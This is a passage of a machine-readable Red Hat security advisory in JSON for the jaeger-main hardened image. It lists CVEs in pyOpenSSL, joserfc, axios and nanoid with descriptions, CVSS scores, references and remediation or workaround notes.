                    "purl": "pkg:rpm/redhat/jaeger@2.20.0-0.8.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "src"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "jaeger-main@x86_64",
                "product": {
                  "name": "jaeger-main@x86_64",
                  "product_id": "jaeger-main@x86_64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/jaeger@2.20.0-0.8.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "jaeger-main@aarch64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:jaeger-main@aarch64"
        },
        "product_reference": "jaeger-main@aarch64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "jaeger-main@src as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:jaeger-main@src"
        },
        "product_reference": "jaeger-main@src",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "jaeger-main@x86_64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:jaeger-main@x86_64"
        },
        "product_reference": "jaeger-main@x86_64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-27459",
      "cwe": {
        "id": "CWE-120",
        "name": "Buffer Copy without Checking Size of Input (\u0027Classic Buffer Overflow\u0027)"
      },
      "discovery_date": "2026-03-18T00:01:41.404915+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2448503"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in pyOpenSSL. The set_cookie_generate_callback callback function can be used to generate DTLS cookies. When the callback returns a cookie string or byte sequence longer than 256 bytes, a buffer overflow can be triggered due to a missing bounds checking before copying the data to a fixed-size buffer provided by the underlying OpenSSL library.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "pyOpenSSL: DTLS cookie callback buffer overflow",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This flaw is only exploitable when an application using the pyOpenSSL library provides a custom callback to the set_cookie_generate_callback function. For the buffer overflow to occur, the callback function must return a cookie string or byte sequence longer than 256 bytes, limiting the exposure of this issue. Due to these reasons, this vulnerability has been rated with an important severity.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-27459"
        },
        {
          "category": "external",
          "summary": "RHBZ#2448503",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2448503"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-27459",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-27459"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-27459",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27459"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst",
          "url": "https://github.com/pyca/pyopenssl/blob/358cbf29c4e364c59930e53a270116249581eaa3/CHANGELOG.rst"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408",
          "url": "https://github.com/pyca/pyopenssl/commit/57f09bb4bb051d3bc2a1abd36e9525313d5cd408"
        },
        {
          "category": "external",
          "summary": "https://github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4",
          "url": "https://github.com/pyca/pyopenssl/security/advisories/GHSA-5pwr-322w-8jr4"
        }
      ],
      "release_date": "2026-03-17T23:34:28.483000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        },
        {
          "category": "workaround",
          "details": "To mitigate this flaw, ensure the callback provided to the set_cookie_generate_callback function strictly limits the returned cookie string or byte sequence to under 256 bytes.",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.1,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "pyOpenSSL: DTLS cookie callback buffer overflow"
    },
    {
      "cve": "CVE-2026-62995",
      "cwe": {
        "id": "CWE-1286",
        "name": "Improper Validation of Syntactic Correctness of Input"
      },
      "discovery_date": "2026-07-29T19:02:04.532795+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2508524"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in joserfc, a Python library for JSON Object Signing and Encryption (JOSE) standards. This vulnerability allows the library to accept JSON Web Tokens (JWTs) that include non-standard trailing padding. An attacker could exploit this to create malleable JWTs, potentially bypassing security mechanisms like token revocation or anti-replay protection. This could lead to unauthorized access or continued use of tokens that should be invalid.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "joserfc: joserfc: JWT Malleability via Non-Standard Padding",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "Moderate: The joserfc Python library, utilized across various Red Hat products, is susceptible to JWT malleability due to its handling of non-standard trailing padding. This flaw could enable an attacker to bypass token revocation or anti-replay mechanisms in applications that depend on the integrity of JWTs processed by vulnerable versions of the library.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-62995"
        },
        {
          "category": "external",
          "summary": "RHBZ#2508524",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2508524"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-62995",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-62995"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-62995",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62995"
        },
        {
          "category": "external",
          "summary": "https://github.com/authlib/joserfc/security/advisories/GHSA-5jhw-7jv7-qcqq",
          "url": "https://github.com/authlib/joserfc/security/advisories/GHSA-5jhw-7jv7-qcqq"
        }
      ],
      "release_date": "2026-07-29T18:27:06.518000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 4.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "joserfc: joserfc: JWT Malleability via Non-Standard Padding"
    },
    {
      "cve": "CVE-2026-67312",
      "cwe": {
        "id": "CWE-674",
        "name": "Uncontrolled Recursion"
      },
      "discovery_date": "2026-08-01T13:02:36.502842+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510007"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios, a popular JavaScript library. An attacker can exploit this vulnerability by providing malicious form data containing deeply nested field names. This input triggers uncontrolled recursion within the formDataToJSON function, which is responsible for processing form data. The excessive recursion exhausts the application\u0027s JavaScript call stack, leading to a denial of service for the affected request or, in some cases, causing the entire application process to terminate.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via uncontrolled recursion in form data processing",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This Important flaw in the axios JavaScript library allows an unauthenticated remote attacker to cause a denial of service. By submitting crafted form data with excessively nested bracket-delimited field names, an attacker can trigger uncontrolled recursion in the formDataToJSON function (exposed as axios.formToJSON() and used internally by the default transformRequest when FormData is sent with Content-Type: application/json), exhausting the JavaScript call stack and causing a RangeError that may terminate the application process. This vulnerability affects applications that pass attacker-controlled FormData field names to axios\u0027 FormData-to-JSON conversion.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67312"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510007",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510007"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67312",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67312"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67312",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67312"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson",
          "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formtojson"
        }
      ],
      "release_date": "2026-08-01T12:22:18.102000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        },
        {
          "category": "workaround",
          "details": "Upgrade to axios \u003e= 1.18.0 (1.x) or \u003e= 0.33.0 (0.x), which add recursion depth guards to formDataToJSON. If an immediate upgrade is not possible, validate and limit the nesting depth of FormData field names before passing them to axios.formToJSON() or before sending FormData through axios with Content-Type: application/json, and ensure error handling is in place to catch RangeError exceptions from this code path.",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Denial of Service via uncontrolled recursion in form data processing"
    },
    {
      "cve": "CVE-2026-67313",
      "cwe": {
        "id": "CWE-674",
        "name": "Uncontrolled Recursion"
      },
      "discovery_date": "2026-08-01T13:03:08.824485+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510017"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. A remote attacker could exploit an uncontrolled recursion vulnerability in the formDataToJSON function by supplying FormData with field names containing deeply nested bracket segments. This could exhaust the JavaScript call stack, leading to a RangeError and causing a denial of service (DoS) through request failure or process termination in affected applications.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510017",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510017"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67313",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67313"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-42h9-826w-cgv3"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson",
          "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-formdatatojson"
        }
      ],
      "release_date": "2026-08-01T12:22:16.493000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Denial of Service via uncontrolled recursion in formDataToJSON"
    },
    {
      "cve": "CVE-2026-67314",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:03:49.884962+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510030"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. This vulnerability involves prototype pollution read-side gadgets within the basic authentication subfield handling. If an application is already susceptible to a separate prototype pollution issue and makes an axios request without specifying username or password in its authentication object, an attacker can inject malicious values. This allows for outbound request tampering, enabling the attacker to inject or replace basic authentication credentials in outgoing requests. Under specific application conditions, this could also lead to credential disclosure.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510030",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510030"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67314",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67314"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-xj6q-8x83-jv6g"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-auth-subfields"
        }
      ],
      "release_date": "2026-08-01T12:22:16.603000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Outbound Request Tampering via Prototype Pollution in Basic Auth"
    },
    {
      "cve": "CVE-2026-67320",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-08-01T13:01:50.659496+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2509993"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios when used in a Node.js deployment with the HTTP adapter. This vulnerability, known as Prototype Pollution, occurs because request interceptors can revert hardened request configurations, allowing an attacker to manipulate the Object.prototype.proxy property. If successfully exploited, an attacker can route affected plaintext HTTP requests through a malicious proxy, potentially observing sensitive data such as authentication headers and request bodies, and even returning their own responses.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Information disclosure via Prototype Pollution in Node HTTP adapter",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67320"
        },
        {
          "category": "external",
          "summary": "RHBZ#2509993",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2509993"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67320",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67320"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67320",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67320"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/commit/df53d7dd99b202fb194217abd127ae6a630e70dc",
          "url": "https://github.com/axios/axios/commit/df53d7dd99b202fb194217abd127ae6a630e70dc"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-gcfj-64vw-6mp9"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter",
          "url": "https://www.vulncheck.com/advisories/axios-before-prototype-pollution-via-node-http-adapter"
        }
      ],
      "release_date": "2026-08-01T12:22:17.547000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 7.4,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Critical"
        }
      ],
      "title": "axios: axios: Information disclosure via Prototype Pollution in Node HTTP adapter"
    },
    {
      "cve": "CVE-2026-67321",
      "cwe": {
        "id": "CWE-770",
        "name": "Allocation of Resources Without Limits or Throttling"
      },
      "discovery_date": "2026-08-01T13:02:49.231124+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2510011"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in axios. A remote attacker could exploit an incomplete depth-limit bypass when the component serializes objects with specific top-level keys. By manipulating object keys and nested values during form or parameter serialization, an attacker can trigger a processing error. This can lead to a denial of service, making the affected request path unavailable to legitimate users.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "axios: axios: Denial of Service via object serialization bypass",
          "title": "Vulnerability summary"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:jaeger-main@aarch64",
          "Red Hat Hardened Images:jaeger-main@src",
          "Red Hat Hardened Images:jaeger-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-67321"
        },
        {
          "category": "external",
          "summary": "RHBZ#2510011",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2510011"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-67321",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-67321"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-67321",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-67321"
        },
        {
          "category": "external",
          "summary": "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23",
          "url": "https://github.com/axios/axios/security/advisories/GHSA-hcpx-6fm6-wx23"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass",
          "url": "https://www.vulncheck.com/advisories/axios-before-denial-of-service-via-maxdepth-bypass"
        }
      ],
      "release_date": "2026-08-01T12:22:18.177000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-07-30T11:11:12+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:48758"
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 7.5,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:jaeger-main@aarch64",
            "Red Hat Hardened Images:jaeger-main@src",
            "Red Hat Hardened Images:jaeger-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Important"
        }
      ],
      "title": "axios: axios: Denial of Service via object serialization bypass"
    },
    {
      "cve": "CVE-2026-73086",
      "cwe": {
        "id": "CWE-1241",
        "name": "Use of Predictable Algorithm in Random Number Generator"
      },
      "discovery_date": "2026-08-11T17:11:45.607696+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2514175"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in nanoid, a JavaScript library for generating unique string IDs. A remote attacker could exploit an integer overflow vulnerability by providing a specific input to the `nanoid(size)` function. This issue causes the internal random number generator to become predictable, leading to the generation of identical identifiers for session tokens, security tokens (Cross-Site Request Forgery (CSRF) tokens), and API keys. Such predictability could allow an attacker to bypass security measures that rely on unique and random identifiers.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "nanoid: nanoid: Predictable ID generation due to integer overflow",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
